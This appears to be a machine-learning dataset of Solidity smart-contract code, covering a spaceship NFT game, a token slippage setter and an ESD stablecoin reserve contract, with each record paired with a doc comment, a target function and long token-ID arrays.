_weight[0]; attributes[3] = _weight[1]; attributes[4] = _attack[0]; attributes[5] = _attack[1]; attributes[6] = _armour[0]; attributes[7] = _armour[1]; spaceshipProducts[spaceshipProductCount++] = SpaceshipProduct(_class, ByteConvert.bytesToBytes8(attributes), _price, 0); } /* CashOut */ function cashOut() public { require(address(this).balance >= balances[msg.sender]); // Checking if this contract has enought money to pay require(balances[msg.sender] > 0); // Cannot cashOut zero amount uint256 _balance = balances[msg.sender]; balances[msg.sender] = 0; msg.sender.transfer(_balance); emit EventCashOut(msg.sender, _balance); } /* Marketplace functions */ function buySpaceship(uint16 _model) public payable { require(msg.value > 0); require(msg.value == spaceshipProducts[_model].price); require(spaceshipProducts[_model].price > 0); _generateSpaceship(_model, msg.sender); balances[owner] += spaceshipProducts[_model].price; } function _generateSpaceship(uint16 _model, address _player) private { // Build a new spaceship for player uint256 tokenId = spaceshipIds.length; spaceshipIds.push(tokenId); super._mint(_player, tokenId); spaceships[tokenId] = Spaceship({ model: _model, battleMode: false, battleWins: 0, battleLosses: 0, battleStake: 0, upgrades: "\x00\x00\x00\x00\x00", // Prepared to have 5 different types of upgrades isAuction: false, auctionPrice: 0 }); spaceshipProducts[_model].totalSold++; } function sellSpaceship(uint256 _tokenId, uint256 _price) public onlyOwnerOf(_tokenId) { spaceships[_tokenId].isAuction = true; spaceships[_tokenId].auctionPrice = _price; } function bidSpaceship(uint256 _tokenId) public payable { require(getPlayerSpaceshipAuctionById(_tokenId)); // must be for sale require(getPlayerSpaceshipAuctionPriceById(_tokenId) == msg.value); // value must be exactly // Giving the sold percentage fee to contract owner uint256 ownerPercentage = msg.value.mul(uint256(saleFee)).div(100); balances[owner] += ownerPercentage; // Giving the sold amount minus owner fee to seller balances[getPlayerSpaceshipOwnerById(_tokenId)] += msg.value.sub(ownerPercentage); // Transfering spaceship to buyer super.clearApprovalAndTransfer(getPlayerSpaceshipOwnerById(_tokenId), msg.sender, _tokenId); // Removing from auction spaceships[_tokenId].isAuction = false; spaceships[_tokenId].auctionPrice = 0; } /* Battle functions */ function battleAdd(uint256 _tokenId) public payable onlyOwnerOf(_tokenId) { require(msg.value == getPlayerSpaceshipBattleStakeById(_tokenId)); require(msg.value > 0); require(spaceships[_tokenId].battleMode == false); spaceships[_tokenId].battleMode = true; spaceships[_tokenId].battleStake = msg.value; emit EventBattleAdd(msg.sender, _tokenId); } function battleRemove(uint256 _tokenId) public onlyOwnerOf(_tokenId) { require(spaceships[_tokenId].battleMode == true); spaceships[_tokenId].battleMode = false; balances[msg.sender] = balances[msg.sender].add(spaceships[_tokenId].battleStake); emit EventBattleRemove(msg.sender, _tokenId); } function battle(uint256 _tokenId, uint256 _tokenIdToAttack) public payable onlyOwnerOf(_tokenId) { require (spaceships[_tokenIdToAttack].battleMode == true); // ship to attack must be in battle mode require (spaceships[_tokenId].battleMode == false); // attacking ship must not be offered for battle require(msg.value == getPlayerSpaceshipBattleStakeById(_tokenId)); uint256 battleStakeDefender = spaceships[_tokenIdToAttack].battleStake; bool result = battleContract.battle(spaceshipProducts[spaceships[_tokenId].model].attributes, spaceships[_tokenId].upgrades, spaceshipProducts[spaceships[_tokenIdToAttack].model].attributes, spaceships[_tokenIdToAttack].upgrades); if (result) { spaceships[_tokenId].battleWins++; spaceships[_tokenIdToAttack].battleLosses++; balances[super.ownerOf(_tokenId)] += (battleStakeDefender + msg.value) - battleFee; spaceships[_tokenIdToAttack].battleStake = 0; emit EventBattle(msg.sender, _tokenId, _tokenIdToAttack, _tokenId); } else { spaceships[_tokenId].battleLosses++; spaceships[_tokenIdToAttack].battleWins++; balances[super.ownerOf(_tokenIdToAttack)] += (battleStakeDefender + msg.value) - battleFee; spaceships[_tokenIdToAttack].battleStake = 0; emit EventBattle(msg.sender, _tokenId, _tokenIdToAttack, _tokenIdToAttack); } balances[owner] += battleFee; spaceships[_tokenIdToAttack].battleMode = false; } /* Upgrade functions */ function buySpaceshipUpgrade(uint256 _tokenId, uint16 _model, uint8 _position) public payable onlyOwnerOf(_tokenId) { require(msg.value > 0); uint256 upgradePrice = upgradeContract.getSpaceshipUpgradePriceByModel(_model, _position); require(msg.value == upgradePrice); require(getPlayerSpaceshipBattleModeById(_tokenId) == false); bytes5 currentUpgrades = spaceships[_tokenId].upgrades; upgradeContract.isSpaceshipUpgradeAllowed(currentUpgrades, _model, _position); spaceships[_tokenId].upgrades = upgradeContract.buySpaceshipUpgrade(currentUpgrades, _model, _position); balances[owner] += upgradePrice; emit EventBuySpaceshipUpgrade(msg.sender, _tokenId, _model, _position); } /* Getters getPlayer* */ function getPlayerSpaceshipCount(address _player) public view returns (uint256) { return super.balanceOf(_player); } function getPlayerSpaceshipModelById(uint256 _tokenId) public view returns (uint16) { return spaceships[_tokenId].model; } function getPlayerSpaceshipOwnerById(uint256 _tokenId) public view returns (address) { return super.ownerOf(_tokenId); } function getPlayerSpaceshipModelByIndex(address _owner, uint256 _index) public view returns (uint16) { return spaceships[super.tokensOf(_owner)[_index]].model; } function getPlayerSpaceshipAuctionById(uint256 _tokenId) public view returns (bool) { return spaceships[_tokenId].isAuction; } function getPlayerSpaceshipAuctionPriceById(uint256 _tokenId) public view returns (uint256) { return spaceships[_tokenId].auctionPrice; } function getPlayerSpaceshipBattleModeById(uint256 _tokenId) public view returns (bool) { return spaceships[_tokenId].battleMode; } function getPlayerSpaceshipBattleStakePaidById(uint256 _tokenId) public view returns (uint256) { return spaceships[_tokenId].battleStake; } function getPlayerSpaceshipBattleStakeById(uint256 _tokenId) public view returns (uint256) { return battleContract.calculateStake(spaceshipProducts[spaceships[_tokenId].model].attributes, spaceships[_tokenId].upgrades); } function getPlayerSpaceshipBattleLevelById(uint256 _tokenId) public view returns (uint256) { return battleContract.calculateLevel(spaceshipProducts[spaceships[_tokenId].model].attributes, spaceships[_tokenId].upgrades); } function getPlayerSpaceshipBattleWinsById(uint256 _tokenId) public view returns (uint32) { return spaceships[_tokenId].battleWins; } function getPlayerSpaceshipBattleLossesById(uint256 _tokenId) public view returns (uint32) { return spaceships[_tokenId].battleLosses; } function getPlayerSpaceships(address _owner) public view returns (uint256[]) { return super.tokensOf(_owner); } function getPlayerBalance(address _owner) public view returns (uint256) { return balances[_owner]; } function getPlayerSpaceshipUpgradesById(uint256 _tokenId) public view returns (bytes5) { return spaceships[_tokenId].upgrades; } /* Getters getSpaceshipProduct* */ function getSpaceshipProductPriceByModel(uint16 _model) public view returns (uint256) { return spaceshipProducts[_model].price; } function getSpaceshipProductClassByModel(uint16 _model) public view returns (uint16) { return spaceshipProducts[_model].class; } function getSpaceshipProductTotalSoldByModel(uint16 _model) public view returns (uint256) { return spaceshipProducts[_model].totalSold; } function getSpaceshipProductAttributesByModel(uint16 _model) public view returns (bytes8) { return spaceshipProducts[_model].attributes; } function getSpaceshipProductCount() public view returns (uint16) { return spaceshipProductCount; } /* Getters getSpaceship* */ function getSpaceshipTotalSold() public view returns (uint256) { return super.totalSupply(); } /* Getters Spaceship Upgrades */ function getSpaceshipUpgradePriceByModel(uint16 _model, uint8 _position) public view returns (uint256) { return upgradeContract.getSpaceshipUpgradePriceByModel(_model, _position); } function getSpaceshipUpgradeTotalSoldByModel(uint16 _model, uint8 _position) public view returns (uint256) { return upgradeContract.getSpaceshipUpgradeTotalSoldByModel(_model, _position); } function getSpaceshipUpgradeCount() public view returns (uint256) { return upgradeContract.getSpaceshipUpgradeCount(); } }
Getters getSpaceshipProduct* */
function getSpaceshipProductPriceByModel(uint16 _model) public view returns (uint256) { return spaceshipProducts[_model].price; }
13,451,133
[ 1, 4625, 348, 7953, 560, 30, 225, 968, 5432, 1322, 4996, 5310, 4133, 14, 1195, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 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0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 225, 445, 1322, 4996, 5310, 4133, 5147, 858, 1488, 12, 11890, 2313, 389, 2284, 13, 1071, 1476, 1135, 261, 11890, 5034, 13, 288, 203, 565, 327, 7292, 5310, 13344, 63, 67, 2284, 8009, 8694, 31, 203, 225, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/56/0x3260Ebd17d9038d2C2a3b24FFe5c8f1eA10603df/sources/project_/contracts/ClimbToken.sol
* Updates The Threshold To Trigger The Garbage Collector */
function changeTokenSlippage(uint256 newSlippage) external onlyOwner { require(newSlippage <= 995, "invalid slippage"); _tokenSlippage = newSlippage; emit UpdateTokenSlippage(newSlippage); }
3,243,857
[ 1, 4625, 348, 7953, 560, 30, 380, 15419, 1021, 27139, 2974, 11321, 1021, 611, 12332, 13844, 1195, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0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3169, 2433, 8863, 203, 3639, 389, 2316, 55, 3169, 2433, 273, 30826, 3169, 2433, 31, 203, 3639, 3626, 2315, 1345, 55, 3169, 2433, 12, 2704, 55, 3169, 2433, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
/* Copyright 2021 Empty Set Squad <[email protected]> Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ pragma solidity 0.5.17; pragma experimental ABIEncoderV2; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "../Interfaces.sol"; import "../lib/Decimal.sol"; import "../lib/TimeUtils.sol"; import "./ReserveState.sol"; import "./ReserveVault.sol"; /** * @title ReserveComptroller * @notice Reserve accounting logic for managing the ESD stablecoin. */ contract ReserveComptroller is ReserveAccessors, ReserveVault { using SafeMath for uint256; using Decimal for Decimal.D256; using SafeERC20 for IERC20; /** * @notice Emitted when `account` purchases `mintAmount` ESD from the reserve for `costAmount` USDC */ event Mint(address indexed account, uint256 mintAmount, uint256 costAmount); /** * @notice Emitted when `account` sells `costAmount` ESD to the reserve for `redeemAmount` USDC */ event Redeem(address indexed account, uint256 costAmount, uint256 redeemAmount); /** * @notice Helper constant to convert ESD to USDC and vice versa */ uint256 private constant USDC_DECIMAL_DIFF = 1e12; // EXTERNAL /** * @notice The total value of the reserve-owned assets denominated in USDC * @return Reserve total value */ function reserveBalance() public view returns (uint256) { uint256 internalBalance = _balanceOf(registry().usdc(), address(this)); uint256 vaultBalance = _balanceOfVault(); return internalBalance.add(vaultBalance); } /** * @notice The ratio of the {reserveBalance} to total ESD issuance * @dev Assumes 1 ESD = 1 USDC, normalizing for decimals * @return Reserve ratio */ function reserveRatio() public view returns (Decimal.D256 memory) { uint256 issuance = _totalSupply(registry().dollar()); return issuance == 0 ? Decimal.one() : Decimal.ratio(_fromUsdcAmount(reserveBalance()), issuance); } /** * @notice The price that one ESD can currently be sold to the reserve for * @dev Returned as a Decimal.D256 * Normalizes for decimals (e.g. 1.00 USDC == Decimal.one()) * Equivalent to the current reserve ratio less the current redemption tax (if any) * @return Current ESD redemption price */ function redeemPrice() public view returns (Decimal.D256 memory) { return Decimal.min(reserveRatio(), Decimal.one()); } /** * @notice Mints `amount` ESD to the caller in exchange for an equivalent amount of USDC * @dev Non-reentrant * Normalizes for decimals * Caller must approve reserve to transfer USDC * @param amount Amount of ESD to mint */ function mint(uint256 amount) external nonReentrant { uint256 costAmount = _toUsdcAmount(amount); // Take the ceiling to ensure no "free" ESD is minted costAmount = _fromUsdcAmount(costAmount) == amount ? costAmount : costAmount.add(1); _transferFrom(registry().usdc(), msg.sender, address(this), costAmount); _supplyVault(costAmount); _mintDollar(msg.sender, amount); emit Mint(msg.sender, amount, costAmount); } /** * @notice Burns `amount` ESD from the caller in exchange for USDC at the rate of {redeemPrice} * @dev Non-reentrant * Normalizes for decimals * Caller must approve reserve to transfer ESD * @param amount Amount of ESD to mint */ function redeem(uint256 amount) external nonReentrant { uint256 redeemAmount = _toUsdcAmount(redeemPrice().mul(amount).asUint256()); _transferFrom(registry().dollar(), msg.sender, address(this), amount); _burnDollar(amount); _redeemVault(redeemAmount); _transfer(registry().usdc(), msg.sender, redeemAmount); emit Redeem(msg.sender, amount, redeemAmount); } // INTERNAL /** * @notice Mints `amount` ESD to `account` * @dev Internal only * @param account Account to receive minted ESD * @param amount Amount of ESD to mint */ function _mintDollar(address account, uint256 amount) internal { address dollar = registry().dollar(); IManagedToken(dollar).mint(amount); IERC20(dollar).safeTransfer(account, amount); } /** * @notice Burns `amount` ESD held by the reserve * @dev Internal only * @param amount Amount of ESD to burn */ function _burnDollar(uint256 amount) internal { IManagedToken(registry().dollar()).burn(amount); } /** * @notice `token` balance of `account` * @dev Internal only * @param token Token to get the balance for * @param account Account to get the balance of */ function _balanceOf(address token, address account) internal view returns (uint256) { return IERC20(token).balanceOf(account); } /** * @notice Total supply of `token` * @dev Internal only * @param token Token to get the total supply of */ function _totalSupply(address token) internal view returns (uint256) { return IERC20(token).totalSupply(); } /** * @notice Safely transfers `amount` `token` from the caller to `receiver` * @dev Internal only * @param token Token to transfer * @param receiver Account to receive the tokens * @param amount Amount to transfer */ function _transfer(address token, address receiver, uint256 amount) internal { IERC20(token).safeTransfer(receiver, amount); } /** * @notice Safely transfers `amount` `token` from the `sender` to `receiver` * @dev Internal only Requires `amount` allowance from `sender` for caller * @param token Token to transfer * @param sender Account to send the tokens * @param receiver Account to receive the tokens * @param amount Amount to transfer */ function _transferFrom(address token, address sender, address receiver, uint256 amount) internal { IERC20(token).safeTransferFrom(sender, receiver, amount); } /** * @notice Converts ESD amount to USDC amount * @dev Private only * Converts an 18-decimal ERC20 amount to a 6-decimals ERC20 amount * @param dec18Amount 18-decimal ERC20 amount * @return 6-decimals ERC20 amount */ function _toUsdcAmount(uint256 dec18Amount) internal pure returns (uint256) { return dec18Amount.div(USDC_DECIMAL_DIFF); } /** * @notice Convert USDC amount to ESD amount * @dev Private only * Converts a 6-decimal ERC20 amount to an 18-decimals ERC20 amount * @param usdcAmount 6-decimal ERC20 amount * @return 18-decimals ERC20 amount */ function _fromUsdcAmount(uint256 usdcAmount) internal pure returns (uint256) { return usdcAmount.mul(USDC_DECIMAL_DIFF); } }
* @notice Convert USDC amount to ESD amount @dev Private only Converts a 6-decimal ERC20 amount to an 18-decimals ERC20 amount @param usdcAmount 6-decimal ERC20 amount @return 18-decimals ERC20 amount/
function _fromUsdcAmount(uint256 usdcAmount) internal pure returns (uint256) { return usdcAmount.mul(USDC_DECIMAL_DIFF); }
1,784,603
[ 1, 4625, 348, 7953, 560, 30, 380, 632, 20392, 4037, 11836, 5528, 3844, 358, 512, 9903, 3844, 632, 5206, 8726, 1338, 1377, 20377, 279, 1666, 17, 12586, 4232, 39, 3462, 3844, 358, 392, 6549, 17, 31734, 4232, 39, 3462, 3844, 632, 891, 584, 7201, 6275, 1666, 17, 12586, 4232, 39, 3462, 3844, 632, 2463, 6549, 17, 31734, 4232, 39, 3462, 3844, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 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0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 